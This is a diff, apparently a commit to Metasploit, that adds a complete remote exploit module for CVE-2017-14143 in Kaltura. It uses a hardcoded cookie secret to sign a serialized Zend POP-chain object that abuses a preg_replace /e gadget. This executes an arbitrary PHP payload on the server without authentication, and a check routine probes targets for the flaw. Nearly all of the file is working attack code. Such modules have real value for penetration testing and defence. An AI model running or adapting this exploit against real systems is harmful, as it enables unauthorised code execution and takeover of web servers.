|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Remote |
| 7 | + Rank = ExcellentRanking |
| 8 | + CookieSecret = 'y3tAno3therS$cr3T' |
| 9 | + |
| 10 | + include Msf::Exploit::Remote::HttpClient |
| 11 | + |
| 12 | + def initialize(info = {}) |
| 13 | + super(update_info(info, |
| 14 | + 'Name' => 'Kaltura Remote PHP Code Execution over Cookie', |
| 15 | + 'Description' => %q{ |
| 16 | + This module exploits an Object Injection vulnerability in Kaltura. |
| 17 | + By exploiting this vulnerability, unauthenticated users can execute |
| 18 | + arbitrary code under the context of the web server user. |
| 19 | +
|
| 20 | + Kaltura makes use of a hardcoded cookie secret which allows to sign |
| 21 | + arbitrary cookie data. After passing this signature check, the base64- |
| 22 | + decoded data is passed to PHPs unserialize() function which allows for |
| 23 | + code execution. The constructed object is again based on the SektionEins |
| 24 | + Zend code execution POP chain PoC. Kaltura versions prior to 13.1.0 are |
| 25 | + affected by this issue. |
| 26 | +
|
| 27 | + A valid entry_id (which is required for this exploit) can be obtained |
| 28 | + from any media resource published on the kaltura installation. |
| 29 | +
|
| 30 | + This module was tested against Kaltura 13.1.0-2 installed on Ubuntu 14.04. |
| 31 | + }, |
| 32 | + 'License' => MSF_LICENSE, |
| 33 | + 'Author' => |
| 34 | + [ |
| 35 | + 'Robin Verton <[email protected]>', |
| 36 | + 'Mehmet Ince <[email protected]>' # first kaltura rce module |
| 37 | + ], |
| 38 | + 'References' => |
| 39 | + [ |
| 40 | + ['CVE', '2017-14143'] |
| 41 | + ], |
| 42 | + 'Privileged' => false, |
| 43 | + 'Platform' => ['php'], |
| 44 | + 'Arch' => ARCH_PHP, |
| 45 | + 'Targets' => [ ['Automatic', {}] ], |
| 46 | + 'DisclosureDate' => 'Sep 12 2017', |
| 47 | + 'DefaultTarget' => 0 |
| 48 | + )) |
| 49 | + |
| 50 | + register_options( |
| 51 | + [ |
| 52 | + OptString.new('TARGETURI', [true, 'The target URI of the Kaltura installation', '/']), |
| 53 | + OptString.new('ENTRYID', [true, 'Valid entry ID of any media resource (example: 0_lahha4c9)', '']) |
| 54 | + ] |
| 55 | + ) |
| 56 | + end |
| 57 | + |
| 58 | + def check |
| 59 | + r = rand_text_alpha(15 + rand(4)) |
| 60 | + entry_id = datastore['ENTRYID'] |
| 61 | + cmd = "print_r(#{r}).die()" |
| 62 | + |
| 63 | + p = "" |
| 64 | + p << "a:1:{s:1:\"z\";O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";" |
| 65 | + p << "a:1:{i:0;O:20:\"Zend_Log_Writer_Mail\":5:{s:16:\"\00*\00_eventsToMail\";" |
| 66 | + p << "a:1:{i:0;i:1;}s:22:\"\00*\00_layoutEventsToMail\";a:0:{}s:8:\"\00*\00_mail\";" |
| 67 | + p << "O:9:\"Zend_Mail\":0:{}s:10:\"\00*\00_layout\";O:11:\"Zend_Layout\":3:{s:13:\"\00*\00_inflector\";" |
| 68 | + p << "O:23:\"Zend_Filter_PregReplace\":2:{s:16:\"\00*\00_matchPattern\";s:7:\"/(.*)/e\";" |
| 69 | + p << "s:15:\"\00*\00_replacement\";s:#{cmd.length.to_s}:\"#{cmd}\";}s:20:\"\00*\00_inflectorEnabled\";" |
| 70 | + p << "b:1;s:10:\"\00*\00_layout\";s:6:\"layout\";}s:22:\"\00*\00_subjectPrependText\";N;}}};}" |
| 71 | + |
| 72 | + encoded = Rex::Text.encode_base64(p) |
| 73 | + hash = Rex::Text.md5("#{encoded}#{CookieSecret}") |
| 74 | + |
| 75 | + res = send_request_cgi( |
| 76 | + 'method' => 'GET', |
| 77 | + 'uri' => normalize_uri(target_uri.path, 'index.php', 'keditorservices', 'getAllEntries'), |
| 78 | + 'vars_get' => { |
| 79 | + 'list_type' => '15', |
| 80 | + 'entry_id' => entry_id |
| 81 | + }, |
| 82 | + 'cookie' => "userzone=#{encoded}#{hash}" |
| 83 | + ) |
| 84 | + |
| 85 | + if res && res.redirect? |
| 86 | + print_error("Got a redirect, maybe you are not using https? #{res.headers['Location']}") |
| 87 | + Exploit::CheckCode::Safe |
| 88 | + elsif res && res.body.include?(r) |
| 89 | + Exploit::CheckCode::Vulnerable |
| 90 | + elsif !check_entryid |
| 91 | + print_error("Invalid ENTRYID") |
| 92 | + Exploit::CheckCode::Safe |
| 93 | + else |
| 94 | + Exploit::CheckCode::Safe |
| 95 | + end |
| 96 | + end |
| 97 | + |
| 98 | + def check_entryid |
| 99 | + entry_id = datastore['ENTRYID'] |
| 100 | + res = send_request_cgi( |
| 101 | + 'method' => 'GET', |
| 102 | + 'uri' => normalize_uri(target_uri.path, 'index.php', 'keditorservices', 'getAllEntries'), |
| 103 | + 'vars_get' => { |
| 104 | + 'list_type' => '15', |
| 105 | + 'entry_id' => entry_id |
| 106 | + } |
| 107 | + ) |
| 108 | + |
| 109 | + return res.body.include? entry_id |
| 110 | + end |
| 111 | + |
| 112 | + def exploit |
| 113 | + entry_id = datastore['ENTRYID'] |
| 114 | + cmd = "print_r(eval(base64_decode('#{Rex::Text.encode_base64(payload.encode)}'))).die()" |
| 115 | + |
| 116 | + p = "" |
| 117 | + p << "a:1:{s:1:\"z\";O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";" |
| 118 | + p << "a:1:{i:0;O:20:\"Zend_Log_Writer_Mail\":5:{s:16:\"\00*\00_eventsToMail\";" |
| 119 | + p << "a:1:{i:0;i:1;}s:22:\"\00*\00_layoutEventsToMail\";a:0:{}s:8:\"\00*\00_mail\";" |
| 120 | + p << "O:9:\"Zend_Mail\":0:{}s:10:\"\00*\00_layout\";O:11:\"Zend_Layout\":3:{s:13:\"\00*\00_inflector\";" |
| 121 | + p << "O:23:\"Zend_Filter_PregReplace\":2:{s:16:\"\00*\00_matchPattern\";s:7:\"/(.*)/e\";" |
| 122 | + p << "s:15:\"\00*\00_replacement\";s:#{cmd.length.to_s}:\"#{cmd}\";}s:20:\"\00*\00_inflectorEnabled\";" |
| 123 | + p << "b:1;s:10:\"\00*\00_layout\";s:6:\"layout\";}s:22:\"\00*\00_subjectPrependText\";N;}}};}" |
| 124 | + |
| 125 | + encoded = Rex::Text.encode_base64(p) |
| 126 | + hash = Rex::Text.md5("#{encoded}#{CookieSecret}") |
| 127 | + |
| 128 | + res = send_request_cgi( |
| 129 | + 'method' => 'GET', |
| 130 | + 'uri' => normalize_uri(target_uri.path, 'index.php', 'keditorservices', 'getAllEntries'), |
| 131 | + 'vars_get' => { |
| 132 | + 'list_type' => '15', |
| 133 | + 'entry_id' => entry_id |
| 134 | + }, |
| 135 | + 'cookie' => "userzone=#{encoded}#{hash}" |
| 136 | + ) |
| 137 | + |
| 138 | + if res && res.redirect? |
| 139 | + print_error("Got a redirect, maybe you are not using https? #{res.headers['Location']}") |
| 140 | + elsif res && res.code != 200 |
| 141 | + print_error('Unexpected response...') |
| 142 | + else |
| 143 | + print_status("Output: #{res.body}") |
| 144 | + end |
| 145 | + end |
| 146 | +end |
0 commit comments